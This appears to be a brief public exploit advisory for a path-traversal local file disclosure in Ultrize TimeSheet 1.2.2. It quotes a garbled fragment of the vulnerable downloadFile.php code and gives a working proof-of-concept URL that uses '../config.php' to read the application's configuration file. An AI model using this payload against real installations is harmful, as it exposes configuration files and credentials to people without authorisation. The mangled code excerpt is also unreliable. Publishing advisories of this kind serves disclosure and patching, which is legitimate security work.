Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure

Ultrize TimeSheet 1.2.2 readfile Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== File not found. "; print $fileName; print "Please make sure your file paths are correct: $config'uploaddir'/$jobid/$fileName"; ? ==== Poc /actions/downloadFile.php?fileName=../config.php...